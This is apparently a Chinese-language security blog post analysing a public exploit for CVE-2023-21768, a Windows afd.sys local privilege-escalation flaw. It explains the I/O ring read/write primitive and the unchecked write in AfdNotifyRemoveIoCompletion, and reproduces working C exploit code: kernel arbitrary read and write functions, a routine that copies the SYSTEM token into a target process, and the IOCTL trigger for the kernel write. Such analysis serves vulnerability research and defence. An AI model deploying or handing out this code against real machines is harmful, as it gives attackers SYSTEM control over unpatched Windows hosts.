?
CVE-2023-21768 Windows Ancillary Function Driver (AFD) afd.sys本地提權漏洞。
本文是對exp代碼的分析,完整exp : xforcered/Windows_LPE_AFD_CVE-2023-21768: LPE exploit for CVE-2023-21768 (github.com)(https://github.com/xforcered/Windows_LPE_AFD_CVE-2023-21768)
漏洞分析
個人感覺整個exp中最精華的部分在ioring的lpe部分,這部分代碼來自Yarden Shafir(https://windows-internals.com/one-i-o-ring-to-rule-them-all-a-full-read-write-exploit-primitive-on-windows-11/)。
I/O ring
i/o ring 是Windows 11(22H2)新出現的一種機制,參考ioringapi - Win32 apps | Microsoft Learn(https://learn.microsoft.com/en-us/windows/win32/api/ioringapi/)
通過CreateIoRing來創建一個IORING_OBJECT對象。內核中對應NtCreateIoRing。
HRESULT CreateIoRing( IORING_VERSION ioringVersion, IORING_CREATE_FLAGS flags, UINT32 submissionQueueSize, UINT32 completionQueueSize, HIORING *h);
submissionQueueSize和completionQueueSize會被替換成2的冪數,使用GetIoRingInfo獲取實際大小。
submission queue的結構是頭部+若干個NT_IORING_SEQ,Head和Tail之間的NT_IORING_SEQ是還未被處理的NT_IORING_SEQ。

submission queue entry的結構:

以FileRef所指向的文件句柄和buffer進行讀寫操作,當操作為讀時從文件處讀取length長的數據并寫入到buffer的Address中,當操作為寫時從buffer的Address處讀取length長的數據并寫入到文件中。
通過SubmitIoRing函數提交。
正常情況下這個操作是不會出問題的,但是如果我們有一個任意寫漏洞的時候會發生什么呢?
如果我們將Buffer改寫為我們申請出的一塊內存,并且將address和length設置好,那么當操作是寫時,從buffer的Address處讀取length長的數據并寫入到文件中,我們在從這個文件中讀出數據就可以實現任意讀,當操作是讀時,從文件處讀取length長的數據并寫入到buffer的Address中,就可以實現任意寫。
也即通過BuildIoRingWriteFile實現任意讀,通過BuildIoRingReadFile實現任意寫。
創建I/O ring
創建I/O ring對象,再創建兩個命名管道用做讀寫句柄。
創建I/O ringint ioring_setup(PIORING_OBJECT* ppIoRingAddr){ int ret = -1; IORING_CREATE_FLAGS ioRingFlags = { 0 }; ioRingFlags.Required = IORING_CREATE_REQUIRED_FLAGS_NONE; ioRingFlags.Advisory = IORING_CREATE_REQUIRED_FLAGS_NONE; ret = CreateIoRing(IORING_VERSION_3, ioRingFlags, 0x10000, 0x20000, &hIoRing); if (0 != ret) { goto done; } ret = getobjptr(ppIoRingAddr, GetCurrentProcessId(), *(PHANDLE)hIoRing); if (0 != ret) { goto done; } pIoRing = *ppIoRingAddr; hInPipe = CreateNamedPipe(L"\\\\.\\pipe\\ioring_in", PIPE_ACCESS_DUPLEX, PIPE_WAIT, 255, 0x1000, 0x1000, 0, NULL); hOutPipe = CreateNamedPipe(L"\\\\.\\pipe\\ioring_out", PIPE_ACCESS_DUPLEX, PIPE_WAIT, 255, 0x1000, 0x1000, 0, NULL); if ((INVALID_HANDLE_VALUE == hInPipe) || (INVALID_HANDLE_VALUE == hOutPipe)) { ret = GetLastError(); goto done; } hInPipeClient = CreateFile(L"\\\\.\\pipe\\ioring_in", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); hOutPipeClient = CreateFile(L"\\\\.\\pipe\\ioring_out", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if ((INVALID_HANDLE_VALUE == hInPipeClient) || (INVALID_HANDLE_VALUE == hOutPipeClient)) { ret = GetLastError(); goto done; } ret = 0; done: return ret;}
任意讀
首先設置好讀取數據地址和長度,在通過BuildIoRingWriteFile將ReadAddr處的數據寫入到管道中,再從管道中將數據讀取到ReadBuffer中。
int ioring_read(PULONG64 pRegisterBuffers, ULONG64 pReadAddr, PVOID pReadBuffer, ULONG ulReadLen){ int ret = -1; PIOP_MC_BUFFER_ENTRY pMcBufferEntry = NULL; IORING_HANDLE_REF reqFile = IoRingHandleRefFromHandle(hOutPipeClient); IORING_BUFFER_REF reqBuffer = IoRingBufferRefFromIndexAndOffset(0, 0); IORING_CQE cqe = { 0 }; pMcBufferEntry = VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE); if (NULL == pMcBufferEntry) { ret = GetLastError(); goto done; } pMcBufferEntry->Address = pReadAddr; pMcBufferEntry->Length = ulReadLen; pMcBufferEntry->Type = 0xc02; pMcBufferEntry->Size = 0x80; pMcBufferEntry->AccessMode = 1; pMcBufferEntry->ReferenceCount = 1; pRegisterBuffers[0] = pMcBufferEntry; ret = BuildIoRingWriteFile(hIoRing, reqFile, reqBuffer, ulReadLen, 0, FILE_WRITE_FLAGS_NONE, NULL, IOSQE_FLAGS_NONE); if (0 != ret) { goto done; } ret = SubmitIoRing(hIoRing, 0, 0, NULL); if (0 != ret) { goto done; } ret = PopIoRingCompletion(hIoRing, &cqe); if (0 != ret) { goto done; } if (0 != cqe.ResultCode) { ret = cqe.ResultCode; goto done; } if (0 == ReadFile(hOutPipe, pReadBuffer, ulReadLen, NULL, NULL)) { ret = GetLastError(); goto done; } ret = 0; done: if (NULL != pMcBufferEntry) { VirtualFree(pMcBufferEntry, sizeof(IOP_MC_BUFFER_ENTRY), MEM_RELEASE); } return ret;}
任意寫
先將需要寫的數據寫入到管道中,在設置好WriteAddr和WriteLen,使用BuildIoRingReadFile將數據寫入到WriteAddr處。
int ioring_write(PULONG64 pRegisterBuffers, ULONG64 pWriteAddr, PVOID pWriteBuffer, ULONG ulWriteLen){ int ret = -1; PIOP_MC_BUFFER_ENTRY pMcBufferEntry = NULL; IORING_HANDLE_REF reqFile = IoRingHandleRefFromHandle(hInPipeClient); IORING_BUFFER_REF reqBuffer = IoRingBufferRefFromIndexAndOffset(0, 0); IORING_CQE cqe = { 0 }; if (0 == WriteFile(hInPipe, pWriteBuffer, ulWriteLen, NULL, NULL)) { ret = GetLastError(); goto done; } pMcBufferEntry = VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE); if (NULL == pMcBufferEntry) { ret = GetLastError(); goto done; } pMcBufferEntry->Address = pWriteAddr; pMcBufferEntry->Length = ulWriteLen; pMcBufferEntry->Type = 0xc02; pMcBufferEntry->Size = 0x80; pMcBufferEntry->AccessMode = 1; pMcBufferEntry->ReferenceCount = 1; pRegisterBuffers[0] = pMcBufferEntry; ret = BuildIoRingReadFile(hIoRing, reqFile, reqBuffer, ulWriteLen, 0, NULL, IOSQE_FLAGS_NONE); if (0 != ret) { goto done; } ret = SubmitIoRing(hIoRing, 0, 0, NULL); if (0 != ret) { goto done; } ret = PopIoRingCompletion(hIoRing, &cqe); if (0 != ret) { goto done; } if (0 != cqe.ResultCode) { ret = cqe.ResultCode; goto done; } ret = 0; done: if (NULL != pMcBufferEntry) { VirtualFree(pMcBufferEntry, sizeof(IOP_MC_BUFFER_ENTRY), MEM_RELEASE); } return ret;}
I/O ring lpe
找到system進程然后替換token。
int ioring_lpe(ULONG pid, ULONG64 ullFakeRegBufferAddr, ULONG ulFakeRegBufferCnt){ int ret = -1; HANDLE hProc = NULL; ULONG64 ullSystemEPROCaddr = 0; ULONG64 ullTargEPROCaddr = 0; PVOID pFakeRegBuffers = NULL; _HIORING* phIoRing = NULL; ULONG64 ullSysToken = 0; char null[0x10] = { 0 }; hProc = OpenProcess(PROCESS_QUERY_INFORMATION, 0, pid); if (NULL == hProc) { ret = GetLastError(); goto done; } ret = getobjptr(&ullSystemEPROCaddr, 4, 4); if (0 != ret) { goto done; } printf("[+] System EPROC address: %llx", ullSystemEPROCaddr); ret = getobjptr(&ullTargEPROCaddr, GetCurrentProcessId(), hProc); if (0 != ret) { goto done; } printf("[+} Target process EPROC address: %llx", ullTargEPROCaddr); pFakeRegBuffers = VirtualAlloc(ullFakeRegBufferAddr, sizeof(ULONG64) * ulFakeRegBufferCnt, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); if (pFakeRegBuffers != (PVOID)ullFakeRegBufferAddr) { ret = GetLastError(); goto done; } memset(pFakeRegBuffers, 0, sizeof(ULONG64) * ulFakeRegBufferCnt); phIoRing = *(_HIORING**)&hIoRing; phIoRing->RegBufferArray = pFakeRegBuffers; phIoRing->BufferArraySize = ulFakeRegBufferCnt; ret = ioring_read(pFakeRegBuffers, ullSystemEPROCaddr + EPROC_TOKEN_OFFSET, &ullSysToken, sizeof(ULONG64)); if (0 != ret) { goto done; } printf("[+] System token is at: %llx", ullSysToken); ret = ioring_write(pFakeRegBuffers, ullTargEPROCaddr + EPROC_TOKEN_OFFSET, &ullSysToken, sizeof(ULONG64)); if (0 != ret) { goto done; } ioring_write(pFakeRegBuffers, &pIoRing->RegBuffersCount, &null, 0x10); ret = 0; done: return ret;}
漏洞成因
通過diff可以判斷漏洞點位于afd.sys的AfdNotifyRemoveIoCompletion函數。

這里可以看出沒有對**(_DWORD **)(a3 + 24)進行進行驗證就把v18賦值,所以設置好這里就可以實現任意寫。
查找這個函數的引用是AfdNotifySock。繼續查找引用,發現其在AfdImmediateCallDispatch中是最后一個函數。
在AfdIoctlTable中找到最后一個ioctl_code, 是0x12127。
與afd.sys交互參考x86matthew - NTSockets - Downloading a file via HTTP using the NtCreateFile and NtDeviceIoControlFile syscalls(https://www.x86matthew.com/view_post?id=ntsockets)
查看AfdNotifySock函數。

檢測
if ( InputBufferLength != 0x30 || OutputBufferLength ) { v10 = STATUS_INFO_LENGTH_MISMATCH; goto LABEL_45; }if ( !v7->dwCounter ) goto LABEL_5;if ( v7->dwLen ) { if ( !v7->pPwnPtr || !v7->pData2 ) goto LABEL_5; }else if ( v7->pData2 || v7->dwTimeout ) {LABEL_5: v10 = STATUS_INVALID_PARAMETER; goto LABEL_45; } v11 = v7->hCompletion;Object = 0i64;v10 = ObReferenceObjectByHandle(v11, 2u, IoCompletionObjectType, pre_mode, &Object, 0i64); if ( v10 >= 0 ) { v12 = IoIs32bitProcess(0i64); v13 = 0; v14 = (unsigned __int64 *)MmUserProbeAddress; while ( v13 < v7->dwCounter ) { if ( pre_mode ) { v24 = 0i64; v25 = 0i64; v15 = v13; v16 = v7->pData1; if ( v12 ) { v17 = (unsigned __int64)v16 + 16 * v13; v31 = v17; if ( (v17 & 3) != 0 ) ExRaiseDatatypeMisalignment(); if ( v17 + 16 > *v14 || v17 + 16 < v17 ) *(_BYTE *)*v14 = 0; *(_QWORD *)&v24 = *(unsigned int *)v17; *((_QWORD *)&v24 + 1) = *(unsigned int *)(v17 + 4); LOWORD(v25) = *(_WORD *)(v17 + 8); BYTE2(v25) = *(_BYTE *)(v17 + 10); } else { v17 = (unsigned __int64)v16 + 24 * v13; if ( v17 >= *v14 ) v17 = *v14; v24 = *(_OWORD *)v17; v25 = *(_QWORD *)(v17 + 16); } v18 = &v24; v27 = &v24; } else { v15 = v13; v17 = 3i64 * v13; v18 = (__int128 *)((char *)v7->pData1 + 24 * v13); v27 = v18; } v19 = a1; if ( v13 ) v19 = 0i64; LOBYTE(v17) = pre_mode; v20 = AfdNotifyProcessRegistration(v17, v9, v18, v19); if ( pre_mode ) { v21 = (char *)v7->pData1; v14 = (unsigned __int64 *)MmUserProbeAddress; if ( v12 ) v22 = &v21[16 * v15 + 12]; else v22 = &v21[24 * v15 + 20]; if ( (unsigned __int64)v22 >= MmUserProbeAddress ) v22 = (char *)MmUserProbeAddress; *(_DWORD *)v22 = v20; } else { *((_DWORD *)v7->pData1 + 6 * v15 + 5) = v20; v14 = (unsigned __int64 *)MmUserProbeAddress; } ++v13; } v10 = AfdNotifyRemoveIoCompletion(pre_mode, (__int64)v9, (__int64)v7); }
為了過掉檢測需要將InputBufferLength設置為0x30,將hCompletion通過未導出函數NtCreateIoCompletion設置為一個句柄,將pdata1設置為一塊申請出的空間, counter 設為1。
查看AfdNotifyRemoveIoCompletion函數。
dwLen = a3->dwLen; if ( !(_DWORD)dwLen ) {LABEL_33: v8 = 0; goto LABEL_34; } if ( a1 ) ProbeForWrite(a3->pData2, v9, v11); v8 = IoRemoveIoCompletion(v25, Pool2, v4, (unsigned int)dwLen, &v20, a1, v13, 0); if ( !v8 ) { if ( v19 ) { for ( i = 0; i < v20; ++i ) { v15 = &Pool2[32 * i]; v16 = (char *)a3->pData2 + 16 * i; *v16 = *(_DWORD *)v15; v16[1] = *((_DWORD *)v15 + 2); v16[3] = *((_DWORD *)v15 + 6); v16[2] = *((_DWORD *)v15 + 4); } } *(_DWORD *)a3->pPwnPtr = v20; goto LABEL_33; }
將dwLen = 0x1設為1, pData2設為一塊申請出的內存,為了使IoRemoveIoCompletion返回0需要使用未導出函數NtSetIoCompletion。
最后整合到一起就是:
int ArbitraryKernelWrite0x1(void* pPwnPtr){ int ret = -1; HANDLE hCompletion = INVALID_HANDLE_VALUE; IO_STATUS_BLOCK IoStatusBlock = { 0 }; HANDLE hSocket = INVALID_HANDLE_VALUE; UNICODE_STRING ObjectFilePath = { 0 }; OBJECT_ATTRIBUTES ObjectAttributes = { 0 }; AFD_NOTIFYSOCK_DATA Data = { 0 }; HANDLE hEvent = NULL; HANDLE hThread = NULL; // Hard-coded attributes for an IPv4 TCP socket BYTE bExtendedAttributes[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x1E, 0x00, 0x41, 0x66, 0x64, 0x4F, 0x70, 0x65, 0x6E, 0x50, 0x61, 0x63, 0x6B, 0x65, 0x74, 0x58, 0x58, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0xEF, 0x3D, 0x47, 0xFE }; ret = _NtCreateIoCompletion(&hCompletion, MAXIMUM_ALLOWED, NULL, 1); if (0 != ret) { goto done; } ret = _NtSetIoCompletion(hCompletion, 0x1337, &IoStatusBlock, 0, 0x100); if (0 != ret) { goto done; } ObjectFilePath.Buffer = (PWSTR)L"\\Device\\Afd\\Endpoint"; ObjectFilePath.Length = (USHORT)wcslen(ObjectFilePath.Buffer) * sizeof(wchar_t); ObjectFilePath.MaximumLength = ObjectFilePath.Length; ObjectAttributes.Length = sizeof(ObjectAttributes); ObjectAttributes.ObjectName = &ObjectFilePath; ObjectAttributes.Attributes = 0x40; ret = _NtCreateFile(&hSocket, MAXIMUM_ALLOWED, &ObjectAttributes, &IoStatusBlock, NULL, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, 1, 0, bExtendedAttributes, sizeof(bExtendedAttributes)); if (0 != ret) { goto done; } Data.hCompletion = hCompletion; Data.pData1 = VirtualAlloc(NULL, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); Data.pData2 = VirtualAlloc(NULL, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); Data.dwCounter = 0x1; Data.dwLen = 0x1; Data.dwTimeout = 100000000; Data.pPwnPtr = pPwnPtr; if ((NULL == Data.pData1) || (NULL == Data.pData2)) { ret = GetLastError(); goto done; } hEvent = CreateEvent(NULL, 0, 0, NULL); if (NULL == hEvent) { ret = GetLastError(); goto done; } _NtDeviceIoControlFile(hSocket, hEvent, NULL, NULL, &IoStatusBlock, AFD_NOTIFYSOCK_IOCTL, &Data, 0x30, NULL, 0); ret = 0; done: if (INVALID_HANDLE_VALUE != hCompletion) { CloseHandle(hCompletion); } if (INVALID_HANDLE_VALUE != hSocket) { CloseHandle(hSocket); } if (NULL != hEvent) { CloseHandle(hEvent); } if (NULL != Data.pData1) { VirtualFree(Data.pData1, 0, MEM_RELEASE); } if (NULL != Data.pData2) { VirtualFree(Data.pData2, 0, MEM_RELEASE); } return ret;}
FreeBuf
安全圈
一顆小胡椒
看雪學苑
安全圈
CNCERT國家工程研究中心
嘶吼專業版
雷石安全實驗室
合天網安實驗室
合天網安實驗室
HACK學習呀
看雪學苑